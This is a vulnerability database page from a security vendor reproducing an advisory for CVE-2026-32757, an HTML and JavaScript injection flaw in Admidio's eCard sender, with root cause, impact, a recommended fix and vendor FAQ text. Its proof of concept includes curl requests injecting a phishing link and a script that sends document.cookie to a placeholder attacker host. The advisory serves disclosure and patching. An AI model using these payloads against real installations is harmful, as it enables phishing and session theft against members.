How should we interpret CVSS severity scores?

CVSS estimates technical severity, but it does not automatically equal business risk. Prioritize using context like internet exposure, asset criticality, known exploitation, and whether compensating controls exist. A Medium CVSS on an exposed production system can be more urgent than a Critical on an isolated non-production host.

Vulnerability Database

Q: What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

Q: What's the difference between a vulnerability, an exploit, and a zero-day?

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. Risk increases sharply when exploitation becomes reliable or widespread.

Q: Why do vulnerabilities keep reappearing in our environment?

Recurring findings usually come from incomplete asset discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host.

Q: How do we prioritize remediation without burning out the team?

Use a repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress so remediation is steady, not reactive.

Q: How can SynScan help reduce vulnerability risk over time?

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.

328,925

Total vulnerabilities in the database

CVE-2026-32757

Summary

The eCard send handler in Admidio uses the raw $_POST['ecard_message'] value instead of the HTMLPurifier-sanitized $formValues['ecard_message'] when constructing the greeting card HTML. This allows an authenticated attacker to inject arbitrary HTML and JavaScript into greeting card emails sent to other members, bypassing the server-side HTMLPurifier sanitization that is properly applied to the ecard_message field during form validation.

Details

Root Cause

File: D:\bugcrowd\admidio\repo\modules\photos\ecard_send.php

At line 38, the raw POST value is captured BEFORE form validation runs:

$postMessage = $_POST[&#039;ecard_message&#039;];  // Line 38: RAW value

At line 61, the form validation runs and properly sanitizes the message through HTMLPurifier (since ecard_message is registered as an editor field):

$formValues = $photosEcardSendForm-&gt;validate($_POST);  // Line 61: sanitized

The sanitized value is stored in $formValues['ecard_message'], but this value is never used. Instead, the raw $postMessage is passed to parseEcardTemplate() at lines 159 and 201:

$ecardHtmlData = $funcClass-&gt;parseEcardTemplate($imageUrl, $postMessage, ...);  // Line 159
$ecardHtmlData = $funcClass-&gt;parseEcardTemplate($imageUrl, $postMessage, ...);  // Line 201

Template Injection

File: D:\bugcrowd\admidio\repo\src\Photos\ValueObject\ECard.php, line 144

The parseEcardTemplate() method places the message directly into the HTML template without any encoding:

$pregRepArray[&#039;/&lt;%ecard_message%&gt;/&#039;] = $ecardMessage;  // Line 144: no encoding

Compare this to the recipient fields which ARE properly encoded:

$pregRepArray[&#039;/&lt;%ecard_reciepient_email%&gt;/&#039;] = SecurityUtils::encodeHTML($recipientEmail);  // Line 135
$pregRepArray[&#039;/&lt;%ecard_reciepient_name%&gt;/&#039;]  = SecurityUtils::encodeHTML($recipientName);   // Line 136

Inconsistency with Preview

File: D:\bugcrowd\admidio\repo\modules\photos\ecard_preview.php, line 56

The preview correctly uses the sanitized value:

$smarty-&gt;assign(&#039;ecardContent&#039;, $funcClass-&gt;parseEcardTemplate($imageUrl, $formValues[&#039;ecard_message&#039;], ...));

This means the preview shows the sanitized version, but the actual sent email contains the unsanitized content.

Delivery Mechanism

The unsanitized HTML is delivered via two channels:

HTML Email (primary vector): At line 218 of ECard.php, the parsed template is set as the email body via $email->setText($ecardHtmlData) followed by $email->setHtmlMail(). The malicious HTML is rendered by the recipient's email client.
Database Storage: At line 214 of ecard_send.php, $message->addContent($ecardHtmlData) stores the raw HTML in the messages table. However, MessageContent::getValue() applies SecurityUtils::encodeHTML() on output, mitigating the stored XSS in the web interface.

PoC

Prerequisites: Logged-in user with access to the photo module and eCard feature enabled.

Step 1: Send an eCard with injected HTML

curl -X POST &quot;https://TARGET/adm_program/modules/photos/ecard_send.php&quot; \
  -H &quot;Cookie: ADMIDIO_SESSION_ID=&lt;session&gt;&quot; \
  -d &quot;adm_csrf_token=&lt;csrf_token&gt;&quot; \
  -d &quot;ecard_template=&lt;valid_template.tpl&gt;&quot; \
  -d &quot;photo_uuid=&lt;valid_photo_uuid&gt;&quot; \
  -d &quot;photo_nr=1&quot; \
  -d &quot;ecard_message=&lt;h1&gt;Important Security Update&lt;/h1&gt;&lt;p&gt;Your account has been compromised. Please &lt;a href=&#039;https://evil.example.com/phishing&#039;&gt;verify your identity here&lt;/a&gt;.&lt;/p&gt;&lt;img src=&#039;https://evil.example.com/tracking.gif&#039;&gt;&quot; \
  -d &quot;ecard_recipients[]=&lt;target_user_uuid&gt;&quot;

The HTMLPurifier validation runs but its result is discarded. The raw HTML including the phishing link and tracking pixel is sent in the greeting card email.

Step 2: Escalated payload with script injection

curl -X POST &quot;https://TARGET/adm_program/modules/photos/ecard_send.php&quot; \
  -H &quot;Cookie: ADMIDIO_SESSION_ID=&lt;session&gt;&quot; \
  -d &quot;adm_csrf_token=&lt;csrf_token&gt;&quot; \
  -d &quot;ecard_template=&lt;valid_template.tpl&gt;&quot; \
  -d &quot;photo_uuid=&lt;valid_photo_uuid&gt;&quot; \
  -d &quot;photo_nr=1&quot; \
  -d &quot;ecard_message=&lt;script&gt;document.location=&#039;https://evil.example.com/steal?cookie=&#039;+document.cookie&lt;/script&gt;&quot; \
  -d &quot;ecard_recipients[]=&lt;target_user_uuid&gt;&quot;

Most modern email clients block script execution, but older clients or webmail interfaces with relaxed CSP may execute it.

Impact

Phishing via Trusted Sender: The attacker sends crafted greeting cards that appear to come from the organization's system. The email sender address is the attacker's real address from their Admidio profile, but the email template and branding make it appear legitimate.
HTML Email Injection: Arbitrary HTML content including fake forms, misleading links, and tracking pixels can be injected into emails sent to any member or role.
Scope Change: The vulnerability crosses a security boundary -- the attack originates from the Admidio web application but impacts email recipients who may view the content outside of Admidio.
Bypasses Defense-in-Depth: The HTMLPurifier sanitization is applied but its result is discarded, defeating the intended security control.

Recommended Fix

In ecard_send.php, use the sanitized $formValues['ecard_message'] instead of the raw $_POST['ecard_message']:

// Line 38: Remove this line
// $postMessage = $_POST[&#039;ecard_message&#039;];

// After line 61 (form validation), use the sanitized value:
$formValues = $photosEcardSendForm-&gt;validate($_POST);
$postMessage = $formValues[&#039;ecard_message&#039;];

Additionally, in ECard::parseEcardTemplate(), apply encoding to the message placeholder as defense-in-depth, or at minimum document that the message is expected to contain trusted HTML:

// The message has already been sanitized by HTMLPurifier,
// so it can safely contain allowed HTML tags
$pregRepArray[&#039;/&lt;%ecard_message%&gt;/&#039;] = $ecardMessage;

Published: Mar 16, 2026
Updated: Mar 17, 2026
CVE: CVE-2026-32757
GHSA: GHSA-4wr4-f2qf-x5wj
Severity: Medium
Exploit:

CVSS v3:

Severity: Unknown
Score:
AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

CWEs:

CWE-79

OWASP TOP 10:

A7 - Cross-Site Scripting (XSS)

Affected Software
References

Software	From	Fixed in
admidio / admidio	-	5.0.7

https://github.com/Admidio/admidio/security/advisories/GHSA-4wr4-f2qf-x5wj

Deep Security Visibility Without the Complexity

SynScan provides clear, real-time security insights so you can monitor your attack surface, spot risks early, and act fast—without extra complexity.

No setup fees
5-min deployment
Cancel anytime

Book a Demo

Frequently Asked Questions

What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.

Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.

Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.